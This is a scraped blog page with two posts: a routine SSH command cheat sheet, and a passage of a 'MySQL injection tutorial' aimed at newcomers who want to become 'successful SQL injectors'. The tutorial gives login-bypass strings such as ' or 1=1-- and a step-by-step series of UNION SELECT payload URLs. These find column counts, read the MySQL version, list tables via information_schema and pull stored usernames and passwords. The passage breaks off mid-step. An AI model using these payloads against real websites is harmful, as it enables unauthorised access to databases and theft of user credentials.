SSH Cheat Sheet

6/28/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<style>
    .markdown-body table {
        border-collapse: separate;
    }
    .markdown-body code, .markdown-body tt {
        background-color: rgba(27,31,35,.05);
        border-radius: 3px;
        font-size: 85%;
        margin: 0;
        padding: .2em .4em;
    }
    .markdown-body table td, .markdown-body table th {
    border: 1px solid #dfe2e5;
    padding: 6px 13px;
    }
    .markdown-body table tr {
    background-color: #fff;
    border-top: 1px solid #c6cbd1;
    }
    .markdown-body table tr:nth-child(2n) {
    background-color: #f6f8fa;
    }
    </style>
    
    <br />
<div class="markdown-body">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwxd-1vZHDmrS8t6yvlLzxN8LzHFUCjJ3rM0hmYxSGxw9uWY13LUiB43mO4UZVla0__DXTYTBpTZ3O92vSGdAsECR5WVqAvsd9fyua0sSfQMWZVQ7v56bkxTpqHu5T0BTJj3LD5YckE0aa/s1600/ssh-cheatsheet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="224" data-original-width="360" height="398" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwxd-1vZHDmrS8t6yvlLzxN8LzHFUCjJ3rM0hmYxSGxw9uWY13LUiB43mO4UZVla0__DXTYTBpTZ3O92vSGdAsECR5WVqAvsd9fyua0sSfQMWZVQ7v56bkxTpqHu5T0BTJj3LD5YckE0aa/s640/ssh-cheatsheet.png" width="640" /></a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands.</div>
<h2>
    1.1 SSH general</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>ssh without input password</td><td><code>sshpass -p '<your-passwd>' ssh <username>@<ssh_host></code>, <code>brew install sshpass</code></td></tr>
<tr><td>Install sshd server</td><td><code>apt-get install openssh</code>, <code>apt-get install openssh-server</code></td></tr>
<tr><td>Restart sshd server</td><td><code>service sshd restart</code>, <code>systemctl reload sshd.service</code></td></tr>
<tr><td>Run ssh command</td><td><code>ssh -o StrictHostKeyChecking=no -p 2702 root@172.17.0.8 date</code></td></tr>
<tr><td>SSH with verbose ouptut</td><td><code>ssh -vvv -p 2702 root@45.33.87.74 date 2>&1</code></td></tr>
<tr><td>Setup ssh tunnel for your web browsing</td><td><code>sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.150.0/24 -e ...</code></td></tr>
<tr><td>SSH passwordless login</td><td><code>ssh-copy-id <username>@<ssh_host></code>, Or manually update <code>~/.ssh/authorized_keys</code></td></tr>
<tr><td>Remove an entry from <code>known_hosts file</code></td><td><code>ssh-keygen -f ~/.ssh/known_hosts -R github.com</code></td></tr>
<tr><td>Diff local file with remote one</td><td><code>diff local_file.txt <(ssh <username>@<ssh_host> 'cat remote_file.txt')</code></td></tr>
<tr><td>Diff two remote ssh files</td><td><code>diff <(ssh user@remote_host 'cat file1.txt') <(ssh user2@remote_host2 'cat file2.txt')</code></td></tr>
<tr><td>Upload with timestamps/permissions kept</td><td><code>scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>SSH agent load key</td><td><code>exec ssh-agent bash && ssh-add /tmp/id_rsa</code>, <code>ssh-add</code></td></tr>
<tr><td>SSH list all loaded key</td><td><code>ssh-add -l</code></td></tr>
<tr><td>SSH agent create and load key</td><td><code>exec ssh-agent bash && ssh-keygen</code>, <code>ssh-add</code></td></tr>
<tr><td>Emacs read remote file with tramp</td><td><code>emacs /ssh:<username>@<ssh_host>:/path/to/file</code></td></tr>
</tbody></table>
<h2>
        1.2 SSH tunnel & ssh proxy</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>SSH port forward to a local port</td><td><code>ssh -N -i <ssh-keyfile> -f root@54.179.178.214 -L *:18085:localhost:8085 -n /bin/bash</code></td></tr>
<tr><td>Reverse port forward to remote server</td><td><code>ssh -R *:40099:localhost:22 root@54.179.178.214</code>, <code>ssh -p 40099 root@54.179.178.214</code></td></tr>
<tr><td>Setup ssh tunnel for your web browsing</td><td><code>sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.111.0/24 192.168.150.0/24 192.167.0.0/24</code></td></tr>
</tbody></table>
<h2>
        <a aria-hidden="true" class="anchor" href="https://github.com/DennyZhang/cheatsheet-ssh-A4#13-scp" id="user-content-13-scp"><svg aria-hidden="true" class="octicon octicon-link" height="16" viewbox="0 0 16 16" width="16"></svg></a></h2>
<h2>
        1.3 SCP</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Download a remote folder</td><td><code>scp -r ec2-user@<ssh-host>:/home/letsencrypt-20180825 ./</code></td></tr>
<tr><td>Upload a file</td><td><code>scp -i <ssh-keyfile> /tmp/hosts ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Upload a folder</td><td><code>scp -r /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Upload with timestamps/permissions kept</td><td><code>scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Mount remote directory as local folder</td><td><code>sshfs name@server:/path/remote_folder /path/local_folder</code></td></tr>
</tbody></table>
<h2>
        1.4 SSH security</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Disable ssh by password</td><td><code>sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config</code></td></tr>
<tr><td>Disable root login</td><td><code>sed -i 's/^PermitRootLogin yes/#PermitRootLogin yes/' /etc/ssh/sshd_config</code></td></tr>
<tr><td>Enable/Disable SSH Host Key Checking</td><td><code>StrictHostKeyChecking yes</code> change <code>~/.ssh/config</code></td></tr>
<tr><td>Protect SSH server from brute force attacks</td><td><a href="https://www.digitalocean.com/community/tutorials/how-to-protect-ssh-with-fail2ban-on-ubuntu-14-04" rel="nofollow">fail2ban command line tool</a></td></tr>
</tbody></table>
<h2>
        1.5 SSH files</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Generate a new key pair</td><td><code>ssh-keygen</code>, <code>ssh-keygen -C "your_email@example.com" -t rsa</code></td></tr>
<tr><td>Generate key pair without interaction</td><td><code>ssh-keygen -t rsa -f /tmp/sshkey -N "" -q</code></td></tr>
<tr><td>Add passphrase protection to ssh keyfile</td><td><code>ssh-keygen -p -f id_rsa</code> </td></tr>
<tr><td>Convert OpenSSL format to SSH-RSA format</td><td><code>ssh-keygen -f my_ssh.pub -i</code></td></tr>
<tr><td>Critical ssh files/folders</td><td><code>~/.ssh/authorized_keys</code>, <code>~/.ssh/config</code>, <code>~/.ssh/known_hosts</code></td></tr>
<tr><td>SSH config file</td><td><code>/etc/ssh/ssh_config</code>, <code>/etc/ssh/sshd_config</code></td></tr>
<tr><td>SSH key file permission</td><td><code>chmod 600 ~/.ssh/id_rsa</code></td></tr>
<tr><td>SSH folder permission</td><td><code>chmod 700 ~/.ssh</code>, <code>chown -R $USER:$USER ~/.ssh</code></td></tr>
<tr><td>Authorized_keys file permission</td><td><code>chmod 644 ~/.ssh/authorized_keys</code></td></tr>
</tbody></table>
<h2>
        1.6 Parse ssh log file</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Command</th></tr>
<tr><td>Events of ssh down</td><td><code>grep -R "ssh.*Received signal 15" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh up</td><td><code>grep -R "sshd.*Server listening" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh failed login</td><td><code>grep -R "sshd.*Failed password for invalid user" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh break-in attemp</td><td><code>grep -R "sshd.*POSSIBLE BREAK-IN ATTEMPT!" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh port scap</td><td><code>grep -R "sshd.*Bad protocol version identification" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh login by public key</td><td><code>grep -R "sshd.*Accepted publickey for" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh login by password</td><td><code>grep -R "sshd.*Accepted password for" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh logout event</td><td><code>grep -R "sshd.*pam_unix(sshd:session): session closed for" /var/log/auth.log</code></td></tr>
</tbody></table>
<h2>
        1.7 SSH tools</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th><th><br /></th></tr>
<tr><td>Export local env to Internet</td><td><a href="https://ngrok.com/" rel="nofollow">ngrok.com</a></td><td><br /></td></tr>
<tr><td>Reverse ssh proxy</td><td><a href="https://github.com/sshuttle/sshuttle">sshuttle</a></td><td><br /></td></tr>
<tr><td>SSH by auto input password</td><td><a href="https://www.cyberciti.biz/faq/noninteractive-shell-script-ssh-password-provider/" rel="nofollow">sshpass</a> sshpass -p “$PASSWORD” ssh -o StrictHostKeyChecking=no $username@$ssh_ip=</td><td><br /></td></tr>
</tbody></table>
<h2>
        1.8 Scripts</h2>
<ul>
<li>Inject local key to remote ssh server server</li>
</ul>
<div class="command wobble-horizontal">
<pre>cat <span class="pl-k">~</span>/.ssh/id_rsa.pub <span class="pl-k">|</span> ssh <span class="pl-smi">$username</span>@<span class="pl-smi">$ssh_hostk</span> <span class="pl-s"><span class="pl-pds">"</span>cat - >> ~/.ssh/authorized_keys<span class="pl-pds">"</span></span>
        
        ssh <span class="pl-smi">$username</span>@<span class="pl-smi">$ssh_hostk</span> <span class="pl-s"><span class="pl-pds">"</span>cat ~/.ssh/authorized_keys<span class="pl-pds">"</span></span></pre>
</div>
<ul>
<li>SSH Config file</li>
</ul>
<div class="content shadow-radial">
<pre>Host sandbox
             HostName 192.168.50.10
             StrictHostKeyChecking no
             User root
        </pre>
<pre>Host 192.168.1.*
           StrictHostKeyChecking no
           Port 32882
           UserKnownHostsFile=/dev/null
           IdentityFile ~/.ssh/id_rsa
        </pre>
</div>
<ul>
<li>Use expect to run ssh command with credential auto input</li>
</ul>
<div class="content shadow-radial">
<pre>    #!/usr/bin/expect
    set timeout 20
    set command "cat /etc/hosts"
    set user "vagrant"
    set password "vagrant"
    set ip "192.168.50.10"
    spawn ssh -o stricthostkeychecking=no $user@$ip "$command"
    expect "*password:*"
    send "$password\r"
    expect eof;</pre>
</div>
<ul>
<li>ssh reverse tunnel</li>
</ul>
<div class="content shadow-radial">
<pre>    # https://www.howtoforge.com/reverse-ssh-tunneling
    autossh -M 40000 -p 2702 -i /home/denny/al -fN \
        -o "PubkeyAuthentication=yes" \
        -o "StrictHostKeyChecking=false" -o "PasswordAuthentication=no" \
        -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" \
        -R 123.57.240.189:29995:localhost:22 root@123.57.240.189
    </pre>
</div>
</div>
</div>

This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands...

SQL Injection Complete

6/26/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaQBqRq5JkCaeVBQgoHYd5V4BFsXnZoW-7ayaUDF3_DgaM6GY6M9DpCTcSOSki9fFTXHPxOLSX7wD4kkw5x2IVb9QaF4EgB8Hy7WcZzvZsgXHYsIyn3uTjPKG4XUU0Lu4OjQJ5ursPHEI/s1600/fa7c5b5f326e3c4a6cc9db19e7edbaf0-xkcd-bobby-tables.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="MySQL injection tutorial" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaQBqRq5JkCaeVBQgoHYd5V4BFsXnZoW-7ayaUDF3_DgaM6GY6M9DpCTcSOSki9fFTXHPxOLSX7wD4kkw5x2IVb9QaF4EgB8Hy7WcZzvZsgXHYsIyn3uTjPKG4XUU0Lu4OjQJ5ursPHEI/s1600/fa7c5b5f326e3c4a6cc9db19e7edbaf0-xkcd-bobby-tables.png" title="MySQL injection tutorial" width="640" /></a></div>
<br />
<m:smallfrac m:val="off">    <m:dispdef>    <m:lmargin m:val="0">    <m:rmargin m:val="0">    <m:defjc m:val="centerGroup">    <m:wrapindent m:val="1440">    <m:intlim m:val="subSup">    <m:narylim m:val="undOvr">   </m:narylim></m:intlim> </m:wrapindent>  </m:defjc></m:rmargin></m:lmargin></m:dispdef></m:smallfrac><br />
<div align="center" class="MsoNormal" style="text-align: center;">
<b><i><u><span style="color: #7030a0; font-size: 16pt; line-height: 115%;">MySQL injection tutorial (Complete)</span></u></i></b></div>
<br /><div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">TABLE OF CONTENT:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
#INTRO</div>
<div class="MsoNormal" style="text-align: justify;">
#WHAT IS DATABASE?</div>
<div class="MsoNormal" style="text-align: justify;">
#WHAT IS SQL INJECTION?</div>
<div class="MsoNormal" style="text-align: justify;">
#BYPASSING LOGINS</div>
<div class="MsoNormal" style="text-align: justify;">
#ACCESSING SECRET DATA</div>
<div class="MsoNormal" style="text-align: justify;">
#Checking for vulnerability</div>
<div class="MsoNormal" style="text-align: justify;">
#Find the number of columns</div>
<div class="MsoNormal" style="text-align: justify;">
#Addressing vulnerable part</div>
<div class="MsoNormal" style="text-align: justify;">
#Finding MySQL version</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL 5 or above injection</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL 4 injection</div>
<div class="MsoNormal" style="text-align: justify;">
#MODIFYING SITE CONTENT</div>
<div class="MsoNormal" style="text-align: justify;">
#SHUTTING DOWN THE MySQL SERVER</div>
<div class="MsoNormal" style="text-align: justify;">
#LOADFILE</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL ROOT</div>
<div class="MsoNormal" style="text-align: justify;">
#MAJOR MySQL COMMANDS</div>
<div class="MsoNormal" style="text-align: justify;">
#FINALIZING THE INJECTION TUTORIAL</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">INTRO!!</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Greetz to all, I'm Hardeep. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial bcoz English is not my native language. Now lets begin our walkthrough of SQL injection.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">WHAT IS DATABASE?</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">WHAT IS SQL INJECTION?</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.</div>
<div class="MsoNormal" style="text-align: justify;">
In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">BYPASSING LOGINS</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login scriptblock is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??</div>
<div class="MsoNormal" style="text-align: justify;">
Let's see an example, where the username admin with the password pass123 can login to the site. Suppose, the SQL query for this is carried out as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='admin' AND password='pass123'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the scriptblock is not sanitized. This opens a door for the hackers to gain illegal access to the site.</div>
<div class="MsoNormal" style="text-align: justify;">
In this example, the attacker can enter the following user data in the login form:</div>
<div class="MsoNormal" style="text-align: justify;">
username: <i>a or 1=1--</i></div>
<div class="MsoNormal" style="text-align: justify;">
password:<i>blank</i></div>
<div class="MsoNormal" style="text-align: justify;">
So, this would make our query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1-- AND password=''</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.</div>
<div class="MsoNormal" style="text-align: justify;">
So our above query becomes:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.</div>
<div class="MsoNormal" style="text-align: justify;">
Few such combinations are:</div>
<div class="MsoNormal" style="text-align: justify;">
username:<i>' or 1='1 password:' or 1='1</i></div>
<div class="MsoNormal" style="text-align: justify;">
username:<i>' or '1'='1' password:' or '1'='1'</i></div>
<div class="MsoNormal" style="text-align: justify;">
username:or 1=1 password:or 1=1</div>
<div class="MsoNormal" style="text-align: justify;">
and there are many more cheat sheets. Just google. In fact, you can create your own such combination to bypass logins..</div>
<div class="MsoNormal" style="text-align: justify;">
That's all about bypassing logins.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: red;">ACCESSING SECRET DATA</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 1:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Checking for vulnerability</div>
<div class="MsoNormal" style="text-align: justify;">
Suppose, u got a site:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.</div>
<div class="MsoNormal" style="text-align: justify;">
So, it is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now if the site is not vulnerable, it filters and the page loads normally.</div>
<div class="MsoNormal" style="text-align: justify;">
But, if it doesn't filter the query string, it would give the error something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">"MySQL Syntax Error By '5'' In Article.php on line 15."</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.</div>
<div class="MsoNormal" style="text-align: justify;">
Also just using ' may not be the sure test; so you may try different things like:</div>
<div class="MsoNormal" style="text-align: justify;">
www.site.com/article.php?id=5 union select 1--</div>
<div class="MsoNormal" style="text-align: justify;">
If you get error with this, you again come to know that its vulnerable... Just try different things..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 2:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Find the number of columns</div>
<div class="MsoNormal" style="text-align: justify;">
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.</div>
<div class="MsoNormal" style="text-align: justify;">
That is, we make our URL query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 1/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this didn't give error.</div>
<div class="MsoNormal" style="text-align: justify;">
Now, I do increase it to 2.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//still no error</div>
<div class="MsoNormal" style="text-align: justify;">
So, we need to increase until we get the error.</div>
<div class="MsoNormal" style="text-align: justify;">
In my example, I got error when I put the value 3 i.e.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 3/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this gave me error.</div>
<div class="MsoNormal" style="text-align: justify;">
So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 3:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Addressing Vulnerable Part:</div>
<div class="MsoNormal" style="text-align: justify;">
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.</div>
<div class="MsoNormal" style="text-align: justify;">
First lets craft the union statement which won't error.. This becomes like this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..</div>
<div class="MsoNormal" style="text-align: justify;">
So for our injection, it becomes:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
For this we do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.</div>
<div class="MsoNormal" style="text-align: justify;">
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.</div>
<div class="MsoNormal" style="text-align: justify;">
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 4:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">Finding MySQL version:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().</div>
<div class="MsoNormal" style="text-align: justify;">
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT version(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
So, this would return the version of MySQL running on the server.</div>
<div class="MsoNormal" style="text-align: justify;">
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.</div>
<div class="MsoNormal" style="text-align: justify;">
@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Quick note: Also, you may check for user, database,etc.. by using following:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">Sub-section 5:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<u><span style="color: red;">MySQL 5 or above injection:</span></u></div>
<div class="MsoNormal" style="text-align: justify;">
Here, I m gonna show u how to access data in the server running MySQL 5 or above.</div>
<div class="MsoNormal" style="text-align: justify;">
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.</div>
<div class="MsoNormal" style="text-align: justify;">
For getting table list, we use: table_name from information_schema.tables</div>
<div class="MsoNormal" style="text-align: justify;">
For getting column list, we use: column_name from information_schema.columns</div>
<div class="MsoNormal" style="text-align: justify;">
So our query for getting the table list in our example would be:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT table_name, 2 FROM information_schema.tables/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And yeah if u had to use unhex(hex()) while finding version, u will have to do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.</div>
<div class="MsoNormal" style="text-align: justify;">
Similarly, to get the column list, we would make our query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.</div>
<div class="MsoNormal" style="text-align: justify;">
Alternatively to find the column in the specific table, u can do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This would display the columns present in the table tbluser. But this may not work always.</div>
<div class="MsoNormal" style="text-align: justify;">
Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.</div>
<div class="MsoNormal" style="text-align: justify;">
There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)</div>
<div class="MsoNormal" style="text-align: justify;">
What I do is:</div>
<div class="MsoNormal" style="text-align: justify;">
